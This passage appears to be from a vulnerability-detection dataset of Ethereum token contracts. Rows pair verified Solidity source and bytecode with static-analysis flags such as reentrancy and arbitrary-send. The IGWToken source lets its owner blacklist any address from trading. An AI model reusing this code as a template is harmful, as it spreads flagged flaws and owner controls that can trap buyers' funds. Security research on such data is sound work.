ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d635352af070d5df4f1c6b664921d207b5a87b831d0e6f284fcb202d7b3a2f5f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,921 |
0x77e415115f5f40b2d12aacc5f6497b93d015a523
|
/**
*Submitted for verification at Etherscan.io on 2021-11-21
*/
/*
In Good We Trust
https://t.me/IGWToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IGWToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "@IGWToken";
string private constant _symbol = "IGWT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xF5F7696ecD5E5a94d2eb554517220556c396FC30);
_feeAddrWallet2 = payable(0xF5F7696ecD5E5a94d2eb554517220556c396FC30);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f0578063c3c8cd8014610310578063c9567bf914610325578063dd62ed3e1461033a578063ff8726021461038057600080fd5b8063715018a6146102665780638da5cb5b1461027b57806395d89b41146102a3578063a9059cbb146102d057600080fd5b8063273123b7116100dc578063273123b7146101d3578063313ce567146101f55780635932ead1146102115780636fc3eaec1461023157806370a082311461024657600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260098152682024a3abaa37b5b2b760b91b60208201525b6040516101549190611812565b60405180910390f35b34801561016957600080fd5b5061017d6101783660046116b2565b610395565b6040519015158152602001610154565b34801561019957600080fd5b50683635c9adc5dea000005b604051908152602001610154565b3480156101bf57600080fd5b5061017d6101ce366004611671565b6103ac565b3480156101df57600080fd5b506101f36101ee3660046115fe565b610415565b005b34801561020157600080fd5b5060405160098152602001610154565b34801561021d57600080fd5b506101f361022c3660046117aa565b610469565b34801561023d57600080fd5b506101f36104b1565b34801561025257600080fd5b506101a56102613660046115fe565b6104de565b34801561027257600080fd5b506101f3610500565b34801561028757600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102af57600080fd5b506040805180820190915260048152631251d5d560e21b6020820152610147565b3480156102dc57600080fd5b5061017d6102eb3660046116b2565b610574565b3480156102fc57600080fd5b506101f361030b3660046116de565b610581565b34801561031c57600080fd5b506101f3610617565b34801561033157600080fd5b506101f361064d565b34801561034657600080fd5b506101a5610355366004611638565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038c57600080fd5b506101f3610a11565b60006103a2338484610a4a565b5060015b92915050565b60006103b9848484610b6e565b61040b8433610406856040518060600160405280602881526020016119fe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ebb565b610a4a565b5060019392505050565b6000546001600160a01b031633146104485760405162461bcd60e51b815260040161043f90611867565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104935760405162461bcd60e51b815260040161043f90611867565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d157600080fd5b476104db81610ef5565b50565b6001600160a01b0381166000908152600260205260408120546103a690610f7a565b6000546001600160a01b0316331461052a5760405162461bcd60e51b815260040161043f90611867565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a2338484610b6e565b6000546001600160a01b031633146105ab5760405162461bcd60e51b815260040161043f90611867565b60005b8151811015610613576001600660008484815181106105cf576105cf6119ae565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060b8161197d565b9150506105ae565b5050565b600c546001600160a01b0316336001600160a01b03161461063757600080fd5b6000610642306104de565b90506104db81610ffe565b6000546001600160a01b031633146106775760405162461bcd60e51b815260040161043f90611867565b600f54600160a01b900460ff16156106d15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561070e3082683635c9adc5dea00000610a4a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074757600080fd5b505afa15801561075b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077f919061161b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c757600080fd5b505afa1580156107db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ff919061161b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084757600080fd5b505af115801561085b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087f919061161b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108af816104de565b6000806108c46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561092757600080fd5b505af115801561093b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096091906117e4565b5050600f8054683635c9adc5dea0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109d957600080fd5b505af11580156109ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061391906117c7565b6000546001600160a01b03163314610a3b5760405162461bcd60e51b815260040161043f90611867565b683635c9adc5dea00000601055565b6001600160a01b038316610aac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043f565b6001600160a01b038216610b0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043f565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043f565b60008111610c965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043f565b6002600a556008600b556000546001600160a01b03848116911614801590610ccc57506000546001600160a01b03838116911614155b15610eab576001600160a01b03831660009081526006602052604090205460ff16158015610d1357506001600160a01b03821660009081526006602052604090205460ff16155b610d1c57600080fd5b600f546001600160a01b038481169116148015610d475750600e546001600160a01b03838116911614155b8015610d6c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d815750600f54600160b81b900460ff165b15610dde57601054811115610d9557600080fd5b6001600160a01b0382166000908152600760205260409020544211610db957600080fd5b610dc442601e61190d565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e095750600e546001600160a01b03848116911614155b8015610e2e57506001600160a01b03831660009081526005602052604090205460ff16155b15610e3e576002600a908155600b555b6000610e49306104de565b600f54909150600160a81b900460ff16158015610e745750600f546001600160a01b03858116911614155b8015610e895750600f54600160b01b900460ff165b15610ea957610e9781610ffe565b478015610ea757610ea747610ef5565b505b505b610eb6838383611187565b505050565b60008184841115610edf5760405162461bcd60e51b815260040161043f9190611812565b506000610eec8486611966565b95945050505050565b600c546001600160a01b03166108fc610f0f836002611192565b6040518115909202916000818181858888f19350505050158015610f37573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f52836002611192565b6040518115909202916000818181858888f19350505050158015610613573d6000803e3d6000fd5b6000600854821115610fe15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043f565b6000610feb6111d4565b9050610ff78382611192565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611046576110466119ae565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109a57600080fd5b505afa1580156110ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d2919061161b565b816001815181106110e5576110e56119ae565b6001600160a01b039283166020918202929092010152600e5461110b9130911684610a4a565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061114490859060009086903090429060040161189c565b600060405180830381600087803b15801561115e57600080fd5b505af1158015611172573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610eb68383836111f7565b6000610ff783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ee565b60008060006111e161131c565b90925090506111f08282611192565b9250505090565b6000806000806000806112098761135e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123b90876113bb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126a90866113fd565b6001600160a01b03891660009081526002602052604090205561128c8161145c565b61129684836114a6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112db91815260200190565b60405180910390a3505050505050505050565b6000818361130f5760405162461bcd60e51b815260040161043f9190611812565b506000610eec8486611925565b6008546000908190683635c9adc5dea000006113388282611192565b82101561135557505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061137b8a600a54600b546114ca565b925092509250600061138b6111d4565b9050600080600061139e8e87878761151f565b919e509c509a509598509396509194505050505091939550919395565b6000610ff783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebb565b60008061140a838561190d565b905083811015610ff75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043f565b60006114666111d4565b90506000611474838361156f565b3060009081526002602052604090205490915061149190826113fd565b30600090815260026020526040902055505050565b6008546114b390836113bb565b6008556009546114c390826113fd565b6009555050565b60008080806114e460646114de898961156f565b90611192565b905060006114f760646114de8a8961156f565b9050600061150f826115098b866113bb565b906113bb565b9992985090965090945050505050565b600080808061152e888661156f565b9050600061153c888761156f565b9050600061154a888861156f565b9050600061155c8261150986866113bb565b939b939a50919850919650505050505050565b60008261157e575060006103a6565b600061158a8385611947565b9050826115978583611925565b14610ff75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043f565b80356115f9816119da565b919050565b60006020828403121561161057600080fd5b8135610ff7816119da565b60006020828403121561162d57600080fd5b8151610ff7816119da565b6000806040838503121561164b57600080fd5b8235611656816119da565b91506020830135611666816119da565b809150509250929050565b60008060006060848603121561168657600080fd5b8335611691816119da565b925060208401356116a1816119da565b929592945050506040919091013590565b600080604083850312156116c557600080fd5b82356116d0816119da565b946020939093013593505050565b600060208083850312156116f157600080fd5b823567ffffffffffffffff8082111561170957600080fd5b818501915085601f83011261171d57600080fd5b81358181111561172f5761172f6119c4565b8060051b604051601f19603f83011681018181108582111715611754576117546119c4565b604052828152858101935084860182860187018a101561177357600080fd5b600095505b8386101561179d57611789816115ee565b855260019590950194938601938601611778565b5098975050505050505050565b6000602082840312156117bc57600080fd5b8135610ff7816119ef565b6000602082840312156117d957600080fd5b8151610ff7816119ef565b6000806000606084860312156117f957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561183f57858101830151858201604001528201611823565b81811115611851576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ec5784516001600160a01b0316835293830193918301916001016118c7565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561192057611920611998565b500190565b60008261194257634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561196157611961611998565b500290565b60008282101561197857611978611998565b500390565b600060001982141561199157611991611998565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104db57600080fd5b80151581146104db57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c3e14f1a995bfeff5c30914f672ede3ae374dc14f88a2e74c45132e071a9809664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,922 |
0x62ab956d616c25d7887e685cf3299fba8505e34b
|
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
pragma solidity ^0.8.4;
//SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract SeriumInvesting is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Serium Investing";
string private constant _symbol = "SRM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 8;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool public afterPreSale = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
